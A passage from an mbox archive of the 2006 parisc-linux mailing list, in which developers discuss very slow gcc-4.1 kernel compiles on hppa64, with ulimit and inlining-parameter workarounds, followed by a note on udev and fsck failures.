-Iinclude2 -I/usr/src/linux-2.6.17-rc3-pa3/include -include
include/linux/autoconf.h -I/usr/src/linux-2.6.17-rc3-pa3/mm -Imm -Wall -W=
undef
-Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -O2
-fomit-frame-pointer -pipe -mno-space-regs -mfast-indirect-calls
-mdisable-fpregs -ffunction-sections -march=3D2.0 -mschedule=3D8000
-Wdeclaration-after-statement -Wno-pointer-sign '-DKBUILD_STR(s)=3D#s'
'-DKBUILD_BASENAME=3DKBUILD_STR(page_alloc)'
'-DKBUILD_MODNAME=3DKBUILD_STR(page_alloc)' -c -o mm/page_alloc.o
/usr/src/linux-2.6.17-rc3-pa3/mm/page_alloc.c
hppa64-linux-gnu-gcc-4.1: warning: -pipe ignored because -save-temps spec=
ified

real    64m52.295s
user    63m31.826s
sys     0m0.669s

## to build 64bit smp kernel

# ulimit -v unlimited
# sh  ../TstPgAlloc
+ rm mm/page_alloc.o mm/.page_alloc.o.d
+ hppa64-linux-gnu-gcc-4.1 --save-temps -Wp,-MD,mm/.page_alloc.o.d -nostd=
inc
-isystem /usr/lib/gcc/hppa64-linux-gnu/4.1.1/include -D__KERNEL__ -Iinclu=
de
-Iinclude2 -I/usr/src/linux-2.6.17-rc3-pa3/include -include
include/linux/autoconf.h -I/usr/src/linux-2.6.17-rc3-pa3/mm -Imm -Wall -W=
undef
-Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -O2
-fomit-frame-pointer -pipe -mno-space-regs -mfast-indirect-calls
-mdisable-fpregs -ffunction-sections -march=3D2.0 -mschedule=3D8000
-Wdeclaration-after-statement -Wno-pointer-sign '-DKBUILD_STR(s)=3D#s'
'-DKBUILD_BASENAME=3DKBUILD_STR(page_alloc)'
'-DKBUILD_MODNAME=3DKBUILD_STR(page_alloc)' -c -o mm/page_alloc.o
/usr/src/linux-2.6.17-rc3-pa3/mm/page_alloc.c
hppa64-linux-gnu-gcc-4.1: warning: -pipe ignored because -save-temps spec=
ified

real    0m9.340s
user    0m8.944s
sys     0m0.308s

# ulimit -v 524288
root@patst006:/usr/src/linux-2.6-pa-n4kmp-t# sh  ../TstPgAlloc
+ rm mm/page_alloc.o mm/.page_alloc.o.d
+ hppa64-linux-gnu-gcc-4.1 --save-temps -Wp,-MD,mm/.page_alloc.o.d -nostd=
inc
-isystem /usr/lib/gcc/hppa64-linux-gnu/4.1.1/include -D__KERNEL__ -Iinclu=
de
-Iinclude2 -I/usr/src/linux-2.6.17-rc3-pa3/include -include
include/linux/autoconf.h -I/usr/src/linux-2.6.17-rc3-pa3/mm -Imm -Wall -W=
undef
-Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -O2
-fomit-frame-pointer -pipe -mno-space-regs -mfast-indirect-calls
-mdisable-fpregs -ffunction-sections -march=3D2.0 -mschedule=3D8000
-Wdeclaration-after-statement -Wno-pointer-sign '-DKBUILD_STR(s)=3D#s'
'-DKBUILD_BASENAME=3DKBUILD_STR(page_alloc)'
'-DKBUILD_MODNAME=3DKBUILD_STR(page_alloc)' -c -o mm/page_alloc.o
/usr/src/linux-2.6.17-rc3-pa3/mm/page_alloc.c
hppa64-linux-gnu-gcc-4.1: warning: -pipe ignored because -save-temps spec=
ified

real    0m9.261s
user    0m8.942s
sys     0m0.315s


 
> >     2/ the b2k (default ulimit -v being ulimited) ->  page_alloc.c
compilation 
> >        very long (even thought this only have 256Mb?)
> > 
> > > This is on a machine with 1 GB.  I had found that the VM system
> > > could thrash and the system crash when it tried to allocate about
> > > 1 GB.
> 
> I think this is a UP problem.  When too much VM gets allocated
> to one process, it blocks some userspace kernel support.  The
> following assembler file was where I first noticed the problem:
> 
> 	.data
> foo:
> 	.block -1
> 
Ak ok, will check.

Sorry for confusion,
    Joel=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous de=
venez aujourd'hui Scarlet One grace a un client existant de Scarlet, vous=
 recevez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite su=
r http://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa64-...-gcc-4.1 annoying pb?
Date: Thu,  4 May 2006 11:23:05 +0200
Lines: 79
Approved: news@gmane.org
Message-ID: <IYQI2H$6645391A0E02D81A0F770E4531372AEB@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624082 19539 80.91.229.3 (22 Nov 2014 02:41:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:22 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 May 2006 09:23:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 04 May 2006 11:23:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3BE027D6B0;
	Thu,  4 May 2006 03:23:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23149-06; Thu, 4 May 2006 03:23:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C389A7D6B5;
	Thu,  4 May 2006 03:23:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70FB17D6A9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 May 2006 03:23:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23035-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 4 May 2006 03:23:11 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 307E37D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 May 2006 03:23:11 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by oola.is.scarlet.be  with ESMTP id k449N5S14678; 
	Thu, 4 May 2006 11:23:05 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: P/pucyoobGI0oKaDYmRngERncmZ1Zlxu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23663

Hello Dave,

I already rebuild and run recent pa kernel with gcc-4.1 but apparently I
missed a strange pb with hppa64: it seems to take abnormaly enormous time=
 to
compile 

  hppa64-linux-gnu-gcc-4.1 -Wp,-MD,mm/.page_alloc.o.d  -nostdinc -isystem=

/usr/lib/gcc/hppa64-linux-gnu/4.1.1/include -D__KERNEL__ -Iinclude -Iincl=
ude2
-I/usr/src/linux-2.6.17-rc3-pa2/include -include include/linux/autoconf.h=

-I/usr/src/linux-2.6.17-rc3-pa2/mm -Imm -Wall -Wundef -Wstrict-prototypes=

-Wno-trigraphs -fno-strict-aliasing -fno-common -O2 -fomit-frame-pointer =
-pipe
-mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-section=
s
-march=3D2.0 -mschedule=3D8000 -Wdeclaration-after-statement -Wno-pointer=
-sign 
-D"KBUILD_STR(s)=3D#s" -D"KBUILD_BASENAME=3DKBUILD_STR(page_alloc)" 
-D"KBUILD_MODNAME=3DKBUILD_STR(page_alloc)" -c -o mm/page_alloc.o
/usr/src/linux-2.6.17-rc3-pa2/mm/page_alloc.c

top showing me:
top - 11:16:03 up 21:14,  5 users,  load average: 1.00, 1.00, 0.94
Tasks:  69 total,   2 running,  67 sleeping,   0 stopped,   0 zombie
Cpu0  : 18.0% us,  3.0% sy,  0.1% ni, 78.8% id,  0.2% wa,  0.0% hi,  0.0%=
 si
Mem:   4115284k total,   825596k used,  3289688k free,    95032k buffers
Swap:   250872k total,        0k used,   250872k free,   520436k cached
Change delay from 1.0 to: 
  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  P WCHAN    
COMMAND                                                   
21547 root      25   0 19692  17m 3976 R 97.2  0.4  51:11.32 0 intr_chec =
cc1 
                                                      
 4986 root      16   0  2980 1336 1016 R  2.9  0.0  29:29.88 0 227038604 =
top 
                                                      

# strace -p 21547
write(1, " %r28,63,61,%r31\n\tdepd,z %r25,2,"..., 4096) =3D 4096
write(1, ",120(%r3)\n\tdepd,z %r23,62,63,%r3"..., 4096) =3D 4096
write(1, "37:\n\taddil LT\'.LC12,%r27\n\tcopy %"..., 4096) =3D 4096
mmap(NULL, 1048576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, =
0) =3D
0x40d2e000
write(1, "pd,z %r28,60,61,%r28\n\tldo 128(%r"..., 4096) =3D 4096
write(1, ",ENTRY_GR=3D18\n\t.ENTRY\n\taddil LT\'n"..., 4096) =3D 4096
write(1, "totalram_pages(%r1),%r28\n\tstd,ma"..., 4096) =3D 4096
brk(0x59b000)                           =3D 0x59b000
brk(0x59a000)                           =3D 0x59a000
brk(0x597000)                           =3D 0x597000
... (pending)

just shows me those few lines after 45min?

I am quite sure it will be completed but I don't know yet how much time i=
t
would require?

Thanks in advance,
    Joel

PS: Dave I will try your patch regarding n4k asap (thanks ;-) )

=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous devenez au=
jourd'hui Scarlet One grace a un client existant de Scarlet, vous recevez=
 tous les deux un cadeau d'une valeur de 50 euros! Surfez vite sur http:/=
/www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: hppa64-...-gcc-4.1 annoying pb?
Date: Thu, 4 May 2006 13:12:45 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200605041712.k44HCjdF013051@hiauly1.hia.nrc.ca>
References: <IYR3CA$4C8410124A8041A4F76C25F0B0AF5127@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624082 19543 80.91.229.3 (22 Nov 2014 02:41:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 May 2006 17:13:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 04 May 2006 19:13:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A58847D6F5;
	Thu,  4 May 2006 11:13:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29553-03; Thu, 4 May 2006 11:13:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 526007D6FD;
	Thu,  4 May 2006 11:13:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CCEE67D6F4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 May 2006 11:12:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29007-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 4 May 2006 11:12:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B1E187D6F1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 May 2006 11:12:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k44HCjZS013052;
	Thu, 4 May 2006 13:12:46 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k44HCjdF013051;
	Thu, 4 May 2006 13:12:45 -0400 (EDT)
In-Reply-To: <IYR3CA$4C8410124A8041A4F76C25F0B0AF5127@scarlet.be> from "Joel
	Soete" at May 4, 2006 07:02:34 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZQNofMBxPjlt6urBOTU2uG0zMTE2NQnp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23664

> > Suggests that 4.1 has gone wild inlining.  To some extent, inlining
> > depends on the amount of memory present in the build machine.
> > 
> the 64bit build was on the N4k (up kernel) with ram of 4Gb:
> # cat /proc/meminfo
> MemTotal:      4115368 kB

You might see if limiting virtual memory helps.  I have the following
in bash.bashrc:

# limit process virtual memory
ulimit -v 524288

This is on a machine with 1 GB.  I had found that the VM system
could thrash and the system crash when it tried to allocate about
1 GB.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa64-...-gcc-4.1 annoying pb?
Date: Thu, 4 May 2006 13:54:55 -0400 (EDT)
Lines: 49
Approved: news@gmane.org
Message-ID: <200605041754.k44HstIl013281@hiauly1.hia.nrc.ca>
References: <20060504171043.GA1344@skunkworks.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624083 19545 80.91.229.3 (22 Nov 2014 02:41:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:23 +0000 (UTC)
Cc: soete.joel@tiscali.be,
 parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 May 2006 17:55:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 04 May 2006 19:55:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EAB127D70A;
	Thu,  4 May 2006 11:55:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29826-09; Thu, 4 May 2006 11:55:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8ADD87D705;
	Thu,  4 May 2006 11:55:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE52F7D702
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 May 2006 11:54:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29882-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 4 May 2006 11:54:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id B71367D701
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  4 May 2006 11:54:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k44HstWk013283;
	Thu, 4 May 2006 13:54:56 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k44HstIl013281;
	Thu, 4 May 2006 13:54:55 -0400 (EDT)
In-Reply-To: <20060504171043.GA1344@skunkworks.cabal.ca> from "Kyle McMartin"
	at May 4, 2006 01:10:43 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MHhsDVVoQEVs4OjDZnVp4YhKNzg2NUKz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23665

> On Thu, May 04, 2006 at 12:35:32PM -0400, John David Anglin wrote:
> > Suggests that 4.1 has gone wild inlining.  To some extent, inlining
> > depends on the amount of memory present in the build machine.
> >
> 
> This is kind of a ridiculous assumption to make... Is there a way to
> disable it? 

Maybe, but I've seen it before.  With the default inline limits, the
program took more than 24 hours to compile.  With reduced limits, the
time was about 60 seconds.  Given that the complilation actually
succeeded, there's little else that can change compilation time in
such a dramatic manner.  If it's not inlining, there are various
other optimizations that can be disabled (e.g., -fno-loop-optimize).

It possible to get an indication as to where the problem lies by
running cc1 without -quiet.  This shows the elapsed time for each
pass at the end of the compilation.   You can see how to run cc1
for the compilation in question by using the -v option with gcc.

There's various options that change inlining behavior.

  -finline-limit=<number> Limits the size of inlined functions to <number>
  -finline-functions      Integrate simple functions into their callers

Inlining can be turned off using -fno-inline-functions.

The following change the model used for inlining:

  --param max-inline-insns-rtl=<value> The maximum number of instructions for the RTL inliner
  --param min-inline-insns=<value>     The number of instructions in a single functions still eligible to inlining after a lot recursive inlining
  --param max-inline-slope=<value>     The slope of the linear function throttling inlining after the recursive inlining limit has been reached is given by the negative reciprocal value of this parameter
  --param max-inline-insns=<value>     The maximum number of instructions by repeated inlining before gcc starts to throttle inlining
  --param max-inline-insns-auto=<value> The maximum number of instructions when automatically inlining
  --param max-inline-insns-single=<value> The maximum number of instructions in a single function eligible for inlining

In the above, the number of instructions refers to RTL instructions
rather than machine instructions.  The default settings are in the manual.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Sat, 6 May 2006 18:44:56 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200605062244.k46MiuOk029404@hiauly1.hia.nrc.ca>
References: <200603222349.k2MNnoxd028375@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624083 19548 80.91.229.3 (22 Nov 2014 02:41:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:23 +0000 (UTC)
Cc: deller@gmx.de,
 parisc-linux@lists.parisc-linux.org,
 tsg45800@scarlet.be
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 May 2006 22:45:00 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx055) with SMTP; 07 May 2006 00:45:00 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k46MivEB029405;
	Sat, 6 May 2006 18:44:58 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k46MiuOk029404;
	Sat, 6 May 2006 18:44:56 -0400 (EDT)
In-Reply-To: <200603222349.k2MNnoxd028375@hiauly1.hia.nrc.ca> from "John David Anglin" at Mar 22, 2006 06:49:49 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gks/EEhGbXBtrLqHPTQ2kWUqLyUmZUg+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23666

> Did this bug also affect 32bit kernels?  The reason I ask is I
> had to back out using 2.6.16-pa0 on my c3k.  The most obvious
> symptoms were fsck failures on reboot, iptables error messages
> and unreliable behavior of gnome teminal.

The fsck problem turned out to be the same as reported here:
http://lists.debian.org/debian-kernel/2006/02/msg00153.html.
udev was running out of memory and /dev was getting fully populated.

It might be that the udev package got stuck.  I removed and
reinstalled it.  The hack in the debian bug report also seems
to work.

I believe that the iptables problem can be fixed by a config
update but I haven't test it.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:34:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] some starting . of glibc test math filaures ;-)
Date: Mon,  8 May 2006 18:36:34 +0200
Lines: 227
Approved: news@gmane.org
Message-ID: <IYYGSY$E62A6934D9220D950CCC57E2A36080C6@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624083 19555 80.91.229.3 (22 Nov 2014 02:41:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:23 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 May 2006 16:36:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 08 May 2006 18:36:48 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBBD87D6C5;
	Mon,  8 May 2006 10:36:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09477-03; Mon, 8 May 2006 10:36:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A25F7D6AF;
